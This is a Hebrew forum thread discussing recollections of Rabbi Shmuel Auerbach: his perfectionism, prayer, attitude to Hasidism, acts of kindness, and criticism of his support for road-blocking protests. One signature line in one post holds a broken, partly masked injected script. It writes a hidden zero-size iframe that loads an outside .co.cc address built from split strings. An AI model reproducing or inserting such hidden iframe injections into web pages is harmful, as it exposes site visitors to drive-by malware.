בית פורומים עצור כאן חושבים

הרב שמואל אויירבך ע"ה

שלום אורח. באפשרותך להתחבר או להירשם
הצג 15 הודעות בעמוד הוסף לדף האישי  דווח למנהל שלח לחבר
נשלח ב-5/3/2018 20:02 לינק ישיר 

ובדומה לזה כעין פרפקציוניזם.


שמעתי ממנו כו"כ פעמים, כי הנמנעות שלו ממתן האישור לפרסום השיעורים היא
בעצם בעיה אישית שלו שהוא 'אינו מסוגל' להוציא מתחת ידו דבר שאיננו מוגה
ומושלם.
ופעם אחרת הגדיר, אני לא מסוגל לחשוב שזה ה'סוף פסוק' שלו בסוגיות אלו, וכאשר
בעזותי שאלתיו, והרי אין לדבר סוף, ואטו אם יוציאו אחר כך, יצא באופן משובח יותר,
נעניתי כי אה"נ ואין הטעם על פי שכל, אלא ברגשת לבו איננו מסוגל, והרי הוא אנוס
בכך.

וחשוב להעיר שהמושגים הפסיכולוגיים האלו יש בהם זלזול מסויים כאילו אפשר להקיף אדם ותלמיד חכם באמצעותם. ואין הם אלא כלי עזר חלקי ובהכרח לא מדוייק.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 20:34 לינק ישיר 

עם כל הביקורתיות שהפגין, כמבואר לעיל וביתר דוגמאות בקונטרס, היה מגלה תמימות (או נאיביות) הן ביחס לתנועת המוסר ולמוסר ולכתביה ויותר מכך, אבל איך לא, כלפי הקבלה.

תקופה מסוימת היה לומד לסירוגין יום אחד בספרא דצניעותא עם ביאור הגר"א ויום אחד בספר אור
יחזקאל, וזה נורא למתבונן.

כמובן, אני עצמי עברתי על מעט מאד מפרקי "אור יחזקאל" אבל התרשמתי שיש בהם הרבה תמימות.

וראו באשכולי


כנ"ל לגבי העדר ביקורתיות כלפי הקבלה, אבל צריך לזכור שאני, בעל הביקורתיות הזו, הוא היוצא דופן. וכאן נקודה חשובה: יתכן שאדם יהיה אנליטיקן ולכן ביקורתי מטבעו, ויתכן שלימוד הגמרא יטפח את הסגולה הזו, אבל הוא עדיין יפעיל אותה במקום שהוא מתיר לעצמו ולא מעבר לזה, ובוודאי לא במקומות שאמורים להיות מוגנים מביקורת כזו.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 21:10 לינק ישיר 

מאד אופייני לדעתי את האדם הגדול (ואת האיפיון של ר' נחמן מברסלב את השאפתן שאינו יכול לשמוח בחלקו כי הוא לא מספיק מושלם, ונוגע גם לפרפקציוניזם שהזכרתי לעיל).

...כמעט בכל הזדמנות היה מדבר על הצורך להיות 'שמח בחלקו' ברוחניות.
פעם בעת גילוי לב נדיר התבטא באזניי כי הנסיון הכי קשה עמו הוא מתמודד הוא
להיות בשמחה תמיד.

מחבר הקונטרס תולה זאת בכך שנחלשה יכולתו לעיין עם הגיל, אבל דומה בעיני שזו תכונה אופיינית למי שחשקו בתורה ומצוות ומודד את עצמו לפי קריטריונים גבוהים ומתקשה להשלים עם השגים שהם מיטביים.

אבל צאו וראו שחכמת הנפש היא הפסיכולוגיה של עבודה עצמית לא היתה לו, וכפי שייעץ לאחרים כן קיים בעצמו.

פעם התאוננתי בפניו על כך, שמצוי שבתחילת הבוקר נכשלים בביטול תורה איזה זמן,
או בדיבורים של ליצנות וקלות ראש לפני הסדר, ואזי הדבר משפיע על כל ההמשך,
שכבר קשה ללמוד כשורה. ושאלתיו, האם באמת נכון להרגיש כך, כי אני רואה שישנם
שלא מרגישים כך, ואינם סובלים מתופעה זו.
והשיב לי, כי אמנם הרגשה זו היא הצודקת, תורה זו לא חכמה, וכך צריכים להרגיש, כי
תורה הולך עם קדושה ועם רציפות, והוסיף לספר כי בצעירותו היה בשערי חסד זקן
שהיה ירא שמים עצום, ומרבה בטבילות, וכאשר במקוה בבוקר היה מאן דהו משמיע
איזה הלצה, היה גוער בו שהורס לו את כל היום. לשאלתי, א"כ מהי העצה. השיב, מי
אמר שההתחלה היא רק פעם אחת ביום, מדי בוקר, צריך להתחיל בכל עת. אני עושה
כל הזמן התחלות. עמוד והתחזק.

____כיון שאני מעתיק קטע ומעיר קורה שאני ממשיך ומגלה עוד ואז אני נאלץ לתקן. עמכם הסליחה. לכתוב בוורד וולהעתיק מסובך מדי עקב בעיות של האתר_____________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");



תוקן על ידי מיימוני ב- 05/03/2018 21:11:45




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 21:13 לינק ישיר 

פתיחותו לעולם הטכנולוגיה - הפתעה!

פעם שאלתיו, אולי למעט בכתיבה, ולכתוב רק בקיצור ולא בעריכת מערכות באריכות
כדרכי, ואמר כי אין לו לאדם לנטוש את המתנה המיוחדת והכח שחננו בו השי"ת, ולכן
לא להרפות מזה, אפילו אם בא על חשבון ההספק וכו'. ומטעם זה הורה לי לקנות מחשב
לכתיבת החידו"ת ]בהגבלות שונות[.



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 21:16 לינק ישיר 

ועוד לגבי החסידות. וכאן יש לחלק בין היבטים שונים בתנועה. הוא היה ביקורתי, אבל כלפי מה ועד כמה?

גילה בי נטיה מסוימת לחסידים ולחסידות, ולכן דיבר עמי תמיד שלא אמשך לזה, ודרש ממני התחייבות
על כך. פעם למדתי ספר חובת התלמידים בסדר מוסר, בהליכתו בין הטורים הבחין בזה וסגר את הספר
בחזקה.

בעדינותו הרבה אמר לי פעם, כי הוא מתבייש ממש בכמה דברים שעוללו המתנגדים לחסידים, כגון
שגירשו את הברדיצ'בער מהעיר פינסק בעש"ק אחר חצות עם כל מטלטליו.

התבטא בפניי על חסידות מסוימת, שבעבר היו נוהגים להתפלל שם באריכות גדולה ללא הגבלת זמן, עד
שבא אדמו"ר ושינה, שזו עוולה גדולה, אך בסוף הפטיר בלימוד זכות ושבח על אותו אדמו"ר שריבה
והפליג את לימוד התורה שם, ו'כל חפציך לא ישוו בה'.

כך תמיד היתה דרכו, 'באשר משפטו שם פעלו' למנות שבחים לצד הבעת ביקורת. ככל שהיה ער לכל
תזוזה של אדם וקולט את כל מהותו ופנימיותו כבר במפגש הראשון, כפי שהוכח במקרים רבים, היה מעלה
על נס מעלות שגילה בכל אחד.

לדוגמא, החווה פעם באצבעו על אברך אחד, כי הוא בן עליה, וזאת משום שהבחין בו, שביום שדילגו על
תחנון בישיבה ]עקב סנדקאות[ היה חסר לו התחנון, והלך והשלימו בבית כנסת הגר"א.



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 21:35 לינק ישיר 

על התפילה

הדברים הבאים מאד מצאו חן בעיני (כאילו טעמי הקובע...) ועדיין הם לדעתי ראויים לשבח והם עיקרה של תפילה

"הדרך לקבל טעם בתפילה ולמצוא התחדשות בכל תפילה ותפילה היא בעשיית התפילה
רחמים ותחנונים, והבריחה מה'קבע' בתפילה, כלומר, מלתחום את התפילה לזמן קצוב
ומוגבל, ולהתפלל מתוך לחץ.
רבינו שליט"א סבור כי לכתחילה ראוי להקפיד על קריאת שמע בזמן הראשון של המג"א,
ואף שנפסקה הלכה כהגר"א 15 , וכן הוא נוהג הלכה למעשה בישיבתינו הק' להתאמץ
להתחיל כדי שיהא גומרה עם זמן מג"א, אבל בשבתות וימים טובים, כאשר זה גורם לחץ
ובלבול ומפריע את ישוב הדעת הנדרש לתפילה, הרי הוא מוותר על הידור זה, ואינו חש
מאומה לסיים בזמן זה, אף כאשר הפער הוא בדקות אחדות.
מן העיקרים אצלו היא שתהיה התפילה ללא לחץ וללא זמן סיום, כי לא זו בלבד שהרי זה
נכנס תחת מתכונת 'תפילתו קבע', אלא כך היא הדרך וכך היא המדה בחוייה רוחנית
ונפשית. חוייה לחוצה ומתוחה איננה חוייה. להיכנס ולחוות את הקירבת אלקים שישנה
בתפילה, את ה'פשוט גופך מעל נשמתך' 16 , לא ניתן מתוך הרגשה של 'יוצא זיין', ו'להיות
אחרי'.

אבל שימו לב לסיפור האירוע הבא שכותב בעל הקונטרס ובו עצמו היה מעשה.

זכיתי לחוות מקרוב במשך תקופות אחרות בהם נגשתי לפני העמוד בישיבה הק' כמעט
בקביעות. פעם אירע שבהחפזי להספיק את ברכות ק"ש עם הזמן הראשון מהרתי מעט
בברכת יוצר אור, וכן הזדרזתי לסיים את ברכת הבוחר בעמו ישראל באהבה, ונמצאתי
משלים עמו את הברכה בלא שיספיק לענות אמן אחרי ברכתי כמנהגו כדעת הגר"א.
לאחר התפילה הוא קרא לי, ונזף בי נוראות באמרו שהרסתי לו את יוצר אור, והפסדתי
לו את האמן של אהבה רבה, ומחמת זה כמעט קלקלתי לו גם את הכוונה בק"ש. 'הכיצד
תוכל בכל ימי חייך להשלים לי כל זה? אמר בכאב עמוק. נחרדתי מאוד ופרצתי בבכי,
נתעוררו רחמיו ונעתר למחול בתנאי כפול שלא אשנה באיולתי לעולם.


והרי משנה מפורשת שנינו:

(תלמוד בבלי מסכת חגיגה דף ט עמוד א)

מי שלא חג ביום טוב הראשון של חג - חוגג את כל הרגל, ויום טוב האחרון של חג. עבר הרגל ולא חג - אינו חייב באחריותו, על זה נאמר מעוות לא יוכל לתקן וחסרון לא יוכל להמנות

יש מחלוקת תנאים בהמשך, אבל נראה שלתנא קמא, המפסיד מצוות עשה, הפסיד מה שאין לו תקנה. ומפרשים, בסגנון קבלי אבל לא בהכרח, שמי שעבר על לאו יש לו תקנה בתשובה, אבל מי שלא השלים חובתו, תשובה יכולה למחוק את העבירה אבל לא ליצור את הזכות והתיקון של המצוה הספצפית הזו.

האם דברים אלו נאמרים גם לגבי עניית "אמן" פעם אחת? האם "אמן" הוא מדאורייתא או מדרבנן?

האם מה שהרב שמואל החמיר כל כך לפני תלמידו הוא בגלל תחושתו האישית של מה שהפסיד או כדי לחנכו?

וכיון שבוודאי חשב על המשמעות החינוכית, האם הנכון הוא להפריז בנזק הנורא של "אמן" אחד עד כדי כך?

אפשר בהחלט לומר שכל העולם כולו אינו שווה את הזכות של לענות אמן פעם אחת. ויש בזה מן האמת - אבל רק מבחינה מסויימת. וכפי שמעיד הסיפור לעיל על התחלה מחדש כל רגע.

הסיפור של בעל הקונטרס אם כן יוצר רושם של יחס מחמיר מוגזם מצד הרב.

ואם מישהו יסביר את זה באופן יותר מתקבל על הדעת, אשמח.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 21:40 לינק ישיר 

והנה משהו מרתק ומעורר מחשבה.

בהגיע בני הבכור לגיל הכניסה לת"ת, מקומו
כבר הובטח בחיידר מאוד מיוחד ומבוקש. מישהו גילה את אזני כי דעת רבינו אינה נוחה
מחיידר זה, והחלטתי כי לא אעשה שקר בנפשי להתעלם מדעתו ואלך לדרוש את הענין.
רבינו השיב לי בנחרצות, כי אף שאינו יודע על בעיה ספציפית בחיידר זה, גורם
בהנהלת אותו ת"ת הוא מראשי פורצי הגדר בחומת החינוך )בענין הכנסת תוכנית
הליב"ה שכבר החל באותם ימים בהסכמה ולא בכפיה(, ולכן למרות הקושי, שלא אשלח
לשם בשום פנים ואופן, כי בחיידר צריכים סיעתא דשמיא, ולמנהל כזה אין סיעתא
דשמיא.
לא היה לי קל, אך בחוסר ברירה השלמנו עם רוע הגזירה, ונאבקנו על קבלת בננו
בחיידר איזורי אחר, שנחשב לפחות ממנו. לימים, נזדמן לפני רבינו איזה מקרה של ילד
למשפחה עם קשיים, שאותו הילד ביקש להתקבל לאותו הת"ת ולא הסכימו לקבלו. רבינו
ברוחב דעתו הכריע כי טובת הילד ללמוד בחיידר זה, ואין להחמיר עליו בכגון דא. הוא
התקשר אצל אחד המנהלים לבקש כי יקבלוהו. הלה לא טמן את ידו בצלחת, עלה ונכנס
אל בית רבינו, ובפיו טרוניא: נודע לו כי הרב הורה לתלמידיו שלא לשלוח לחיידר, הכיצד
הוא שולח את אותו ילד?
רבינו לא נרתע וביאר לו את נימוקו מחמת שהוא גורם במעשיו להרס החינוך. הלה
מיהר להוכיח בפני רבינו כי אף שבמכלול פעולותיו הוא נותן יד למגמות ההרס, אך
בחיידר זה לא שלח בו יד, והוסיף לדרוש מכתב כתוב וחתום בכתב יד רבינו שהתלמוד
תורה הוא מצוין וכו'.
רבינו שלא יכול היה לעמוד מנגד למול צרת המשפחה הנ"ל, השליך את כל כבודו ארצה,
וכתב את המכתב המבוקש בניגוד לרצונו ולהוראתו לתלמידיו. ]מפני הרגישות, לא ניתן
להכביר בפרטים, המעשה נורא ליודעים[.


כלומר, הרב שמואל התנגד לכל סממן של לימודי חול/כניעה למרות השלטון. ואיני יודע מה החסרון שמצא בליב"ה, זה או זה או שניהם כאחד.

הרמזים כאן איני יודע לפענח.

הסיפור הזה זקוק אולי לביאורו של חברנו בצלאל כהן.



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 21:45 לינק ישיר 

הסיפור הבא יפה מאד ויש ללמוד ממנו כמה דברים.

לפני כשנתיים החילותי בתפקיד בישיבה בשעות אחה"צ. בבקרו של יום
בהיר, ממש עם כניסתי לתפקיד, מצלצל הטלפון, ועל הקו רבינו זצוק"ל, ובקשה בפיו,
ישנו בחור פלוני בישיבה קטנה פלונית לבני עדות המזרח בעיר פלונית, והינו יתום מאב,
וכי למרות שאינו מכירו כלל צריכים להשתדל לעשות הכל להכניסו לישיבה. נסיתי
להסביר כי אנכי עדיין חדש בתפקיד, וכל הנושא של הקבלה מורכב מאוד, והמשימה
מאוד קשה עבורי. רבינו נזף בי ממש, כיצד איני 'הופך את העולם' בשבילו. עשיתי ככל
יכלתי, דרשתי וחקרתי, והתברר כי הנער באמת אינו מתאים מבחינת הדרישות, והדבר
אינו בא בחשבון.
רבינו התקשה להשלים עם רוע הגזירה, וניסה פעמים נוספות ללחוץ בדרכים שונות,
ופסק מהשתדלותו רק כאשר הוברר לו כי הנער באמת אינו מתאים וכו'.
לבסוף נודע הדבר, כי גורמים באותה ישיבה, הידועים בשנאתם לרבינו זצוק"ל, ידעו
היטב את ה'סוד' של רבינו עם יתומים ואלמנות, והשיאו עצת אחיתופל לנער, שילך
ויראה חזותו אצל רבינו יחד עם אמו, ואזי מובטח לו מקומו. לא יאומן.
את המבט של רבינו זצוק"ל הכ"מ על חסד והטבה למדנו מדבריו עצמו בהספדו על
הרבנית ע"ה:
"ב"חסד" שעושים אפי' בלא "לב" הלא גם לדבר גדול ייחשב, הלא בכך מקבל בינתיים
יהודי טובה, הזולת בכל אופן נהנה מטובה זו, כל שכן וכל שכן ה "חסד" האמיתי של -
"והלכת בדרכיו" שבכך צריכים לקיים את מצוות ה "חסד", הלא התורה העמידה כאן -
בפנינו מצווה שהיא בעיקרה "בין אדם לחבירו", עם "לשון" ו "סגנון" נורא.. ללכת בדרכי -
ד', לא כתוב ב"תפילין" וגם לא ב"ציצית", אלא כתוב ללכת "בדרכיו", תחקה את הקב"ה,
עשה כמוהו, ולפיכך כשאדם עושה חסד עם השני בלא "לב" בוודאי חסד הוא ב "והלכת -
בדרכיו", אמנם כן, יש קיבול שכר גם על כך, אבל.. עם "לב" ועוד עם כזה "לב נקי", כזה
"לב", בתשובה לשאלתי ענתה לי פעם, שמיום עמדה על דעתה ידעה שצריכים ללכת -
באש עבור השני, ולא צריכים לחכות לתודה, לא צריכים לחכות ל "הכרת הטוב", - -
אין זה מסחר צריכים לעשות את המוטל ואת הצריך לעשות". -
אולם כמדומה שאצל רבינו זצוק"ל החסד וההטבה לתלמידיו היתה בבחינה אחרת.
לתלמיד שסירב לקחת ממנו תמיכה כספית, התבטא פעם, למה אתה מתאכזר עלי ומונע
ממני את ההנאה הזאת? הוא פשוט נהנה לתת ולהעניק. היה 'חפצא' של משפיע ונותן.
כדמות של מעלה.


באמת, כיצד ביקש הרב שמואל להכניס אותו בחור לישיבה בלי לברר אם הוא מתאים לה? האם סבר שאם בחור רוצה ישיבה ממילא הישיבה צריכה לקבלו?

(איני דן כאן כלל בשאלה איזה בחור מתאים לאיזו ישיבה וחושדני שיש בסיפור זה לכל הפחות ניחוח של גזענות מסויימת והסתכלות מגבוה של חרדי על מי שזה מקרוב בא).

החלק האחרון בביאור העלילה, כאשר מתברר שהכל היה מזימה להכשיל את הרב שמואל, מעורר מחשבה. יש רבנים שעליהם יסופר שהיו מזהים מראש וחושדים במניעי המעורבים ולא היו ממהרים לתת הסכמה לפני שהיו מבררים כל מה שאפשר.

_________________

שומר פיו ולשונו - שומר מצרות נפשו < type="text/">document.write("");




דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 21:52 לינק ישיר 

תודעתו העצמית של הרב שמואל

הדברים האחרונים בקונטרס ממש מרתקים ופותחים זוית לעולמו האישי ולאופן שבו ראה את המתרחש בעולם, ומספקים בסיס להבין את שהתרחש (ומתרחש) עם פרוץ המחלוקת הגדולה האחרונה.

פעם בעת רצון שאלתיו, אולי יש לקוות ולהמתין לעתיד טוב יותר מבחינת כל מצב
האידישקייט בדור והקרירות וכו'. השיב בשלילה וביאר, בשבעים שנה האחרונות קם כאן
עולם התורה מפואר ומבוצר. ברוך שמסר עולמו לשומרים, מרנן החזו"א והרב מבריסק
והרב שך וכו', שהקימו ובנו ועמדו על המשמר. ממש מעשה נסים. הרי יכול היה להיות
אחרת. הלכו והרסו הכל בשנתיים. מה כבר אפשר לצפות, שיחזירו את הכל אחורה?
אזרתי עוז ושאלתי, ניחא, אז אין מה לקוות על בין אדם למקום, אבל אולי בבין אדם
לחבירו וכל המצב שלנו יהיה טוב יותר. והגיב: בזה תמיד היה הכל רקוב, עכשיו רק
נתגלה החוצה.

עולם התורה - כנראה מה שכינה אחד החוקרים "חברת הלומדים", וכמובן לא רק הקבוצה הסוציולוגית אלא טיב עיסוקיה וערכיה - הם השריד. זה ההישג של החזו"א, הרב מבריסק, והרב שך.

מאז יש רק נסיון לשמור על המפעל, וככל הנראה הנסיון הזה לא נעשה היטב. ואולי אפילו יש כאלו שמנסים לשנות.

והצליחו בנזק הזה (האם הם שוגגים או מזידים, לא אמר) וזה כבר בלתי הפיך.

האם זה אומר שעכשו עליו, כמו החזו"א והרב שך, להקים "עולם תורה" חדש?

לגבי "בין אדם לחברו" הוא סבור שאפילו בימי החזו"א הכל היה רקוב, וכעת רק יצאה האמת החוצה.

מה נכלל באותה בושה שנחשפה? מניעים קלוקלים כמו רדיפת כבוד ובצע? פשרנות? (אבל זו לא מידה ביחסי אדם  לחברו).

האם גם את עצמו דן ברותחין שהוא מקולקל?



דדווח על תוכן פוגעני

מנותק
נשלח ב-5/3/2018 21:55 לינק ישיר 

כמה נפלאים וכנים הדברים הבאים, ואיזו עצה נפלאה עדיין נמצאת שם בפנים. (וגם השאלה מדוע לא כתב צוואה. הרב שך, דגם החיקוי או הלימוד שלו, עשה זאת מראש, וכן הרב שטינמן, וכן ראוי לכל אדם ולמנהיג לא כל שכן).

רבינו זי"ע מעולם לא הכין אותנו למצב הזה. עלה בסערה השמימה ונתדבק בקונו
במיתת נשיקה, בלא שנזכה להיפרד ממנו, ואף לא הניח לנו תלמידיו בניו צוואה כתובה
לשמור ולעשות.
אין מילים בעולם שיוכלו למצות את השבר הנורא. מאות ואלפים חשים עצמם כיתומים
קטנים, נבוכים ומבולבלים חסרי ישע ואובדי עצה. אצל רבים מבינינו כבר יבש מקור
דמעה ונהפך לבם וכבד עליהם. חשך אורה בעדינו ולא יערב לנו אכול ושתה.
הגעגועים העזים לראות באור פני מלך, לחזות בזיו החכמה, להתבונן ולשאוב מלוא
חפניים מעבודתו בקודש. לילך בטח אחר עצתו והדרכתו הצמודה והרחימאית. להתחמם
כנגד חיוכו המאיר.
אמת מה נהדר היה המראה, כמה מתוק ונלבב זכרון החזיון המופלא הזה.
ועתה אנה אנו באים?!
רבינו הגדול, אבינו רוענו, על מי נטשתנו,
שבורים ורצוצים, סחופים ודוויים, ואין אתנו יודע עד מה.
ובת קול מהדהדת בקרבנו להשיב נפש:
על עצמכם.
באמת יודעים אתם נאמנה את מה שמוטל עליכם לעשות. כפי שהיה רגיל על לשונו 'שכן
מסרה לבן דעת' 17 .
אל תתפתו אחר תירוצים ואמתלאות שונות, 'ידע איניש בנפשיה'. סללתי לפניכם
המסילה העולה, שובבתי עבורכם הנתיב בגן המבוכה, לאמור: זו הדרך תלכו בה. חזקו
והחזיקו בכל עוז. אם אכן תדרשו ותבקשו באמת ובתמים אחר דרך האמת, ד' לא ימנע
טוב ויהיה בעזרכם 18



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/3/2018 10:20 לינק ישיר 

ספרן כתב:
   קונטרס הגדרות וזכרונות מתלמיד קרוב

  מילין זעירין תניינא.pdf


  המשך / הוספה לקונטרס:

  "ג' מרץ 06, 2018 9:59 am
אחרי שנרגעתי מעט מן הצורך לפרוק מעלי זכרונות ועובדות 'יבשות', אנסה לפי מיעוט הבנתי לגעת בדמותו הק' בעצמה. יהא רעוא שלא אכשל, ואימא מילתא דתתקבל, ולתועלת בסיעתא דשמיא.

ישנו ווארט ידוע, שישנם שתי מצוות, שהאדם נכנס אליהם עם כל הרמ"ח והשס"ה, והרי הוא מוקף וטבול בתוכם ללא שיור, עם המגפיים, מצות ישוב ארץ ישראל ומצות סוכה. אצל רבינו זצוק"ל היתה ההרגשה שבכל מציאות חייו הרוחניים הוא נכנס לטבול בתוך התורה והמצוות. 

רבינו זצוק"ל, האישיות הכי רחבה ועניפה שהכרתי, הן מבחינת ההיקף התורני, נגלה ונסתר, הלכה ואגדה, מנהגים ודקדוקי מצוות, ואפילו ידיעת ימי עולם ותהלוכות הקדמונים. אין נעלם מנגד עיניו, אחת מהנה לא נעדרה. 

והן מבחינת תחומי עבודת ד' השונים, עבודה נוראה בתפילה, שבת קודש, מועדים, קדושה, בין אדם לחבירו עד להפליא, הצלת עשוק מיד עושקו ומשפט צדק בין איש לרעהו, הנהגת הציבור, עמידה בפרץ כנגד הגזירות וכו' וכו'. 

ומאידך גיסא, בכל דבר ודבר שעשה נכנס כל כולו ללא שיור. זה מתחיל בלימוד. וכן הוא בתפילה, בעשיית חסד, בהשתתפות בשמחות ובאבל, ובכל דבר. 

כיצד זה יתכן?

ננסה להגדיר יותר, בכל ענין וענין רבינו חווה את הדבר בעצמו. נתחיל מלימוד. ישנם כאלו שמוציאים מערכות מכל סוגיא, ישנם כאלו שמכניסים את המערכות שלהם לתוך כל סוגיא. רבינו זצוק"ל טבל ראשו ורובו בכל סוגיא, הוא נכנס לתוך כל דיבור פשוט של אמר אביי. 

תמצית הענין הוא שהוא לא למד את הגמ', הוא לא הגה בדברי הראשונים, הוא חווה ונשם את הדברים. קשה להמחיש למי שלא נכח בזאת, חויה. אין הגדרה אחרת. כך גם בתפילה, בש"ק, בחסד ובכל ענין אחר. 

היתה בו יכולת מקוממת לחזור על דברים מסוימים ש'תפסו' אותו, מאות ואלפי פעמים. הדבר בלט בשיחותיו בעיקר. יותר ממאה פעמים ואחת. שוב אותו מאמר חז"ל. שוב אותה עובדה. הרי מדובר כאן באדם שחבק זרועות עולם בידיעותיו הכבירות ובתפיסתו הבלתי נתפסת.

זהו הסוד. הוא חווה את הדברים. הוא לא התעייף וקץ בדברים כמו שאדם לא קץ באכילת לחם עם חביתה בארוחת בוקר. 


אבל במבט עמוק יותר נראה כי הוא היה רגיל לשכוח את עצמו. 

מעולם לא חיבב אנשים שעסוקים כל העת בעצמם, ולו יהיו 'צדיקים'. היה פעם בישיבה בחור שהיה מרבה לכפות את עצמו, מרוב עריכת חשבון הנפש ועשיית דין עם עצמו היה מתוח מאוד ועצבני, רבינו אמר לו, חשבון הנפש עושים חצי שעה ביום, בכל היום אל תחשוב אל עצמך כלל. 

היכולת המופלאה הזאת להיכנס לתוך כל לימוד וקיום מצוה עם כל החיות, לחוות כל שמחה וצער של הזולת עם כל העומק והרוחב, לפרטיהם ולדקדוקיהם, נבע מכך שהוא פשוט שכח אי שם את עצמו. 

אנקוט דוגמאות שונות, בלי סדר מסוים. 

היה מתאונן על ישיבה מסוימת שמנסה לעצב בחורים בסגנון מאוד מסוים, שיטת לימוד ודרך חשיבה וכו'. הוא פעם החווה על בוגר מסוים שהגיע לישיבה ואמר, הם ממש רצחו אותו, תראה איזה פרי עץ הדר הוא. מעולם לא ניסה לחנך את תלמידיו לכיוון מסוים. 'חנוך לנער על פי דרכו'. דרכו דייקא. כל אחד לפי מה שהוא, לא פחות ולא יותר. 

מסיבה זו מיעט לכפות את דעתו ולכוף אחרים לרצונו, שיגדל כמה שיותר בכוחות עצמו. רק כיון והדריך, עודד והשתתף. 

ההשתתפות הנפשית שלו עם כל אחד, קרובים ורחוקים היתה מדהימה. הוא נתן את כל כולו. ירד ממרומי העולם הרוחני הגבוה בו היה שרוי, למצבים ולהתרחשויות הכי נמוכות וזעירות. 'השוכן אתם בתוך טומאתם'. 

היה מתרעם מאוד על כך שבחזרת הש"ץ או בקריאת התורה תלמידים מתעסקים בדברים אחרים או לומדים. קרה שהיה מגיע וסוגר את הספר בחזקה. זה לא נבע מחרדה לקיום ההלכה של שמיעת חזרת הש"ץ או קריאת התורה, אלא מהתפיסה שכעת עוסקים בחזרת הש"ץ או בקריאת התורה, ומה פתאום ללמוד עכשיו?

כשראית אותו בקיום המצוות הבנת אל נכון את המושג של 'העוסק במצוה פטור מן המצוה', כל כולו נמצא בתוך המצוה. הוא הולך מחיל אל חיל. מדלג על ההרים מקפץ על הגבעות. עמוס במצוות כל המעת לעת. אבל אין כלאחר יד. הוא 'טובל ויוצא'.

תמיד הפעים אותנו ההשתתפות האדירה שלו בשמחות ובאבל. הוא לא היה מסוגל לקיים 'יוצא זיין'. ראית איך שהוא שרוי בעולם של שמחה כעת, וכן להיפך. לכן קשה היה להתייעץ אתו במצבים כאלו. היה נוהג להאריך שהות בשמחות של תלמידים. זו לא שמחה של תלמיד או מקורב. זוהי שמחה שלו. מחותן לא מגיע לזמן קצר. לבעיה של ביטול תורה מצא את הפתרונות של הכתיבה ובשלב מאוחר יותר – הגמרא או המשניות. 

כן הבעת תודה שלו או יישר כח לא היו סתמיים. תמיד מצא מילים מתאימות. לא יאומן. חווה והרגיש את השני. להכרת הטוב לא היה גבולות. 

לא שמעו ממנו כמעט 'וורטים' או פרפראות למרות שבודאי לא אניסי ליה, והיה קשה לחדש לו. אלו היו סתירה למהותו – להתחבר לדברים בעצמם. דיבר פעם בביקורת על אלו שאומרים פשט טוב באיזה רמב"ם, שטיקל יפה, וזונחים את הסוגיא כולה. 

בא חבקוק והעמידן על אחת, צדיק באמונתו יחיה. 
יחיה!"



דדווח על תוכן פוגעני

מנותק
נשלח ב-6/3/2018 12:27 לינק ישיר 

על פניו מה שהביא ספרן מרשים מאד אבל בעצם זה לא מרשים בכלל.
 הוא עצם את עיניו למה שקורה מסביב כמו התעקשותו על שליחת נערים צעירים להפגנות אלימות שגרמו לחסימת כבישים והפרעה לאמבולנסים. כשאמרו לו שחולה התעכב בגללו הוא הפטיר: "אתפלל עליו".
לא ראינו שהוא הסתפק בתפילה כשהוא עצמו היה חולה.
גם הרבי מגור כשהיה חולה פינה שלושה חדרים בהדסה ולא בשטיבלך של מאה שערים.

כל השבחים לעיל לא מרשימים כאשר מסתכלים על המציאות.
חכם חייב  לראות את המציאות כהוויתה כדי שיוכל לראות את הנולד. כבר ראינו לפני 80 שנה למה גרמה אי ראיית המציאות כהוויתה. 



דדווח על תוכן פוגעני

מחובר
נשלח ב-6/3/2018 12:50 לינק ישיר 

אפרים

הביקורת שלך במקומה. למרות שהיא אינה ראיה נגד המקורות של ספרן.

אתמקד בנקודה אחת: מה סבר הרב שמואל לגבי שיגור נערים צעירים להפגנות ולגבי חסימת דרכים שיש בהם משום סכנה לחולה התקוע בדרך? לפי הגרסה שהבאת, שמע על כך והגיב: אתפלל עבורו.

האם זו גסות וחוסר אכפתיות? יתכן שהיה כאן חשבון הלכתי. "מאי חזית" כלומר "מה ראית" כלומר איך נתעדף בין שתי אפשרויות. נכון, כאן יש את החולה אבל מצד יש, לפי תפיסתו, פיקוח נפש של כלל ישראל, בנית עולם התורה האמיתי, המצומצם, בסגנון החזו"א והרב שך, כמו שראינו כמה הם חשובים לו במקורות בדפים הקודמים של האשכול.

איני מצדיק את הגישה שלו, אלא מנסה להבין את מה שעשוי היה לחשוב.

נתאר לעצמנו מי שאחראי להפגנה גדולה נגד נושא שנראה יותר קרוב לליבנו: שיחרור המולדת מידי כובש, אולי. שיחרור עצירים או החמרת עונשם של מחבלים, ויבחר כל אחד מאיתנו את הנושא הקרוב לליבו שלדעתו הוא יכול להיות חשוב כמו פיקוח נפש. ואז מתברר שההפגנה עלולה להזיק לטיפול בחולים. האם נגיד שצריך להפסיק את ההפגנה? לתת רק לאמבולנס לעבור? אולי כן. אבל יתכן מי שיאמר: הנושא הזה, שעליו ההפגנה, חשוב יותר מפיקוח נפש. גם החולה באמבולנס צריך להבין שהוא כרגע נתבע לשלם את מחיר הנושא שעליו מפגינים.


בעיניך ובעיני אי התייצבות בלשכת כדי לקבל פטור (!!) היא גסות רוח וחוסר הכרת הטוב. לא דייך שמשחררים אותך מלתת שלוש שנות צבא או שירות לאומי, אלא שאינך מטריח את עצמך להגיע, למלא כמה טפסים, ולצאת? אבל לכן הצעתי את הדימוי של הפגנות בנושאים אחרים.

